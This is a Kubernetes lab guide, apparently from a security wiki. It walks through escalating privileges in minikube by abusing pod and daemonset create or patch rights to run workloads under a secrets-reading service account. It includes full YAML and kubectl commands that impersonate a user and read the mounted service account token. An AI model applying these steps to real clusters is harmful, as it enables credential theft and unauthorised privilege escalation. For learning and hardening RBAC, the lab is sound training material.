# K8s Roles Abuse Lab You can run these labs just inside **minikube**. ## Pod Creation -> Escalate to ns SAs We are going to create: * A **Service account "test-sa"** with a cluster privilege to **read secrets** * A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created * **Permissions** to list and **create** pods to a user called "**Test**" will be given * A Role "test-r" and RoleBinding "test-rb" will be created * Then we will **confirm** that the SA can list secrets and that the user Test can list a pods * Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.** * This is the way yo show the user could escalate privileges this way {% hint style="info" %} To create the scenario an admin account is used.\ Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, [**as explained here**](./#pod-creation-steal-token), the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**. {% endhint %} ```bash # Create Service Account test-sa # Create role and rolebinding to give list and create permissions over pods in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: ServiceAccount name: test-sa - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - # Check test-sa can access kube-system secrets kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets # Check user User can get pods in namespace default kubectl --as Test -n default get pods # Create a pod as user Test with the SA test-sa (privesc step) echo "apiVersion: v1 kind: Pod metadata: name: test-pod namespace: default spec: containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete pod test-pod kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa ``` ## Create Daemonset ```bash # Create Service Account test-sa # Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["apps"] resources: ["daemonsets"] verbs: ["get", "list", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - # Check test-sa can access kube-system secrets kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets # Check user User can get pods in namespace default kubectl --as Test -n default get daemonsets # Create a daemonset as user Test with the SA test-sa (privesc step) echo "apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: default spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete daemonset alpine kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa ``` ### Patch Daemonset In this case we are going to **patch a daemonset** to make its pod load our desired service account. If your user has the **verb update instead of patch, this won't work**. ```bash # Create Service Account test-sa # Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["apps"] resources: ["daemonsets"] verbs: ["get", "list", "patch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io --- apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: default spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: automountServiceAccountToken: false hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100']' | kubectl apply -f - # Check user User can get pods in namespace default kubectl --as Test -n default get daemonsets # Create a daemonset as user Test with the SA test-sa (privesc step) echo "apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: default spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete daemonset alpine kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa ``` ## Not work - Create/Patch Bindings **Doesn't work:** * **Create a new RoleBinding** just with the verb **create** * **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions) * You cannot do this to assign the role to yourself or to a different SA * **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions) * You cannot do this to assign the role to yourself or to a different SA ```bash echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- apiVersion: v1 kind: ServiceAccount metadata: name: test-sa2 --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings"] verbs: ["get", "patch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r2 rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb2 subjects: - kind: ServiceAccount name: test-sa apiGroup: "" roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - # Create a pod as user Test with the SA test-sa (privesc step) echo "apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-r2 subjects: - kind: ServiceAccount name: test-sa2 apiGroup: "" roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete rolebinding test-rb kubectl delete rolebinding test-rb2 kubectl delete role test-r kubectl delete role test-r2 kubectl delete serviceaccount test-sa kubectl delete serviceaccount test-sa2 ```